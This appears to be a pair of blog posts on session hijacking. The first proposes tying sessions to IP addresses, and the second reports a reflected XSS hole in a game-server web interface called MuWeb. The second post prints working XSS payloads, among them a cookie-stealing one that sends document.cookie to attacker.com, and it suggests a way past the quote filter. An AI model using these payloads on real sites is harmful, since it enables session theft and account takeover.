Making it harder (Session Hijacking)

This is basically an idea that came to me a while ago while got over a XSS vulnerable website, on which I could get hold of the cookie which stored the session identifier…

But firstly, how can a session hijacking take place? Examples based on XSS:

1.The SID is appended in the url, then a simple document.location would help….
2.The SID is stored in the cookie, then what?… document.cookie :-?

But this is not a tutorial about session hijacking, for more info wikipedia or google.

How was I thinking to strengthen the website against SH?
The magic answer: to store an IP per session, so that only the IP that registered the session can take full advantage of it….

Implementation? To easy to print out the code (maybe in a later article).

What would not help? A visitor who has dynamic IP, or an attacker on the same sub network as the victim….

Of course this is just a strengthening technique, you always should secure your website in many ways as possible. I don’t see how a add-on could disadvantage you…

XSS MuWeb

Very often when got nothing to do, I put my thoughts on how to better secure a website/server (it depends). And by accident last week I came upon a XSS vulnerability across a MU server on which I am a co-administrator…

What version of Mutoolz? Don’t know but if you’re eager to find out browse the web, or simply ask google… Ok it’s not Mutoolz based, it’s called MuWeb; some custom developed Mu Web Interface by a guy who doesn’t give a damn about security…..

Anyway this MuWeb, which has the most sickly written code [it takes you a good period of time to modify it] could be exploited in the following way:

—

http://muwebsite.com/index.php?op=<script>alert(/xss/)</script>

—

Yes, it doesn’t use good filters, just some type of filter based on regular expressions… as I used to say: if you ain’t good at regex, DON’T use them… anyway it filters out double-simple quotes; and what? It’s still vulnerable to XSS, but it won’t work the classical cookie stealing method:

—

http://muwebsite.com/index.php?op=<script>document.location=
‘http://attacker.com/steal.php?C=’+document.cookie</script>

—

But we can bypass this filter, can’t we? by using the String.fromCharCode()…

My question is… How can someone develop components for a Mu Server if it’s making a vulnerable one at the top layer (web app layer)? Who does test this components? Why don’t they test them accurately ?

P.S. Funny thing, after I discovered this XSS vulnerability, I thought I’d find others two with Acunetix… guess what Acunetix didn’t even find the XSS vulnerability :-?

P.P.S No it’s not the regular MuWeb, it’s one combined with Php-Nuke -> http://softshare.uv.ro/